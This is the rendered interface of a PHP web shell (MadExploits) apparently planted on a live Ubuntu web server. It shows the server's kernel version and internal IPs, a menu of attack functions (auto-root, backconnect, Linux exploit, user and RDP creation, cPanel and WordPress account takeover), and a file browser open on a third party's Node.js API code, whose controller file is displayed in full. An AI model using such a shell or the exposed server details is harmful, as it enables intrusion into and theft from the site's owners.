Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
greenpreneurs /
api /
controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
admin.dashboard.controller.js
12.23
KB
-rw-r--r--
auth.controller.js
5.83
KB
-rw-r--r--
blog.controller.js
5.49
KB
-rw-r--r--
event.controller.js
1.43
KB
-rw-r--r--
homePage.controller.js
1.33
KB
-rw-r--r--
individualBlog.controller.js
4.96
KB
-rw-r--r--
user.controller.js
4.33
KB
-rw-r--r--
user.dashboard.controller.js
6.88
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : user.dashboard.controller.js
import pool from "../config/db.js"; import {errorHandler} from "../utils/error.js"; import FormData from "form-data"; import dotenv from 'dotenv'; import axios from "axios"; dotenv.config(); // ✅ Test endpoint for checking controller functionality export const test = (req, res) => { console.log("test"); res.json({ message: 'dashboard controller is working!' }); }; // ✅ Get User Blog Stats All Time export const getUserBlogStatsAllTime = async (req, res) => { const userCID = req.body.cid; // Extract user CID from the request const queryText = ` SELECT IFNULL(COUNT(LD.CID), 0) AS TotalLikes, IFNULL(COUNT(C.CID), 0) AS TotalComments, IFNULL(SUM(SD.TotalShare), 0) AS TotalShares, IFNULL(SUM(VD.TotalViews), 0) AS TotalViews FROM BlogData BD LEFT JOIN LikeData LD ON BD.BID = LD.BID LEFT JOIN Comment C ON BD.BID = C.BID LEFT JOIN ShareData SD ON BD.BID = SD.BID LEFT JOIN ViewData VD ON BD.BID = VD.BID WHERE BD.CID = ?; `; try { const results = await pool.query(queryText, [userCID]); const stats = results[0] || { TotalLikes: 0, TotalComments: 0, TotalShares: 0, TotalViews: 0 }; res.status(200).json(stats[0]); } catch (err) { errorHandler(err.statusCode, err.message, res); } }; // ✅ Get User Blog Stats Last 30 Days export const getUserBlogStatsLast30Days = async (req, res) => { const userCID = req.body.cid; // Extract user CID from the request const queryText = ` SELECT IFNULL(COUNT(LD.CID), 0) AS TotalLikes, IFNULL(COUNT(C.CID), 0) AS TotalComments, IFNULL(SUM(SD.TotalShare), 0) AS TotalShares, IFNULL(SUM(VD.TotalViews), 0) AS TotalViews FROM BlogData BD LEFT JOIN LikeData LD ON BD.BID = LD.BID LEFT JOIN Comment C ON BD.BID = C.BID LEFT JOIN ShareData SD ON BD.BID = SD.BID LEFT JOIN ViewData VD ON BD.BID = VD.BID WHERE BD.CID = ? AND BD.Date >= CURDATE() - INTERVAL 30 DAY; `; try { const results = await pool.query(queryText, [userCID]); const stats = results[0] || { TotalLikes: 0, TotalComments: 0, TotalShares: 0, TotalViews: 0 }; res.status(200).json(stats[0]); } catch (err) { errorHandler(err.statusCode, err.message, res); } }; // ✅ Post Image to IMGBB export const postImage = async (req, res) => { const { image } = req.body; // Image should be in base64 format if (!image) { return res.status(400).json({ error: 'No image provided' }); } try { const form = new FormData(); form.append('image', image); // Append base64 image without "data:image/..." prefix const response = await axios.post(`https://api.imgbb.com/1/upload?key=${process.env.IMGBB_API_KEY}`, form, { headers: { 'Content-Type': 'multipart/form-data', }, }); const imageUrl = response.data.data.url; console.log('Image URL:', imageUrl); res.status(200).json({ imageUrl }); } catch (error) { console.error('Error uploading image:', error); res.status(500).json({ error: 'Image upload failed' }); } }; // ✅ Create Blog export const createBlog = async (req, res) => { const { CID, title, content, imageURL } = req.body.blogData; const date = new Date().toISOString().slice(0, 10); // Current date (YYYY-MM-DD) const time = new Date().toISOString().slice(11, 19); // Current time (HH:MM:SS) const queryText = 'INSERT INTO BlogData (Title, Content, ImageURL, CID, Date, Time) VALUES (?, ?, ?, ?, ?, ?)'; try { const result = await pool.query(queryText, [title, content, imageURL, CID, date, time]); res.status(200).json({ message: 'Blog added successfully', BID: result.insertId }); } catch (err) { console.error('Error inserting blog data:', err); res.status(500).json({ error: 'Failed to add blog' }); } }; // ✅ Get Blogs export const Blog = async (req, res) => { const limit = parseInt(req.body.data.limit) || 10; // Limit default is 10 const offset = parseInt(req.body.data.offset) || 0; // Offset default is 0 const CID = req.body.data.CID; // Extract CID from headers const blogQuery = ` SELECT BlogData.BID, BlogData.ImageURL AS BlogImage, BlogData.Content, BlogData.AdminConfirmed, BlogData.Date, BlogData.Time, UserData.Name AS UserName, UserData.ImageURL AS UserImage FROM BlogData JOIN UserData ON BlogData.CID = UserData.CID AND UserData.CID = ? LIMIT ? OFFSET ?; `; try { const blogResults = await pool.query(blogQuery, [CID, limit, offset]); if (!blogResults.length) { return res.status(404).json({ message: 'No blogs found' }); } console.log(blogResults[0]); res.status(200).json({ blogs: blogResults[0] }); } catch (err) { console.error('Error fetching blogs:', err); res.status(500).json({ message: 'Database query error' }); } }; // ✅ Get Entity Status export const getEntStatus = async (req, res) => { const { CID } = req.body; const queryText = ` SELECT ve.IsVerified FROM Verified_ENT_MAP_User vum JOIN verifiedEnt ve ON vum.id = ve.id WHERE vum.CID = ? `; try { const results = await pool.query(queryText, [CID]); console.log("getEntStatus",results[0]) if (results.length > 0) { return res.json({ IsVerified: results[0].IsVerified }); } else { return res.json({ IsVerified: -1 }); } } catch (err) { console.error('Error executing query:', err); res.status(500).json({ message: 'Server error' }); } }; // ✅ Add Product export const addProduct = async (req, res) => { const { CID, title, description, price, link, imageURL } = req.body; // Validate the incoming data if (!CID || !title || !price || !link) { return res.status(400).send('Missing required fields'); } const queryText = ` INSERT INTO product_list (CID, name, description, cost, link, imageURL) VALUES (?, ?, ?, ?, ?, ?) `; try { await pool.query(queryText, [CID, title, description, price, link, imageURL]); res.status(201).send('Product added successfully'); } catch (err) { console.error('Error inserting product:', err); res.status(500).send('Error adding product'); } };
Close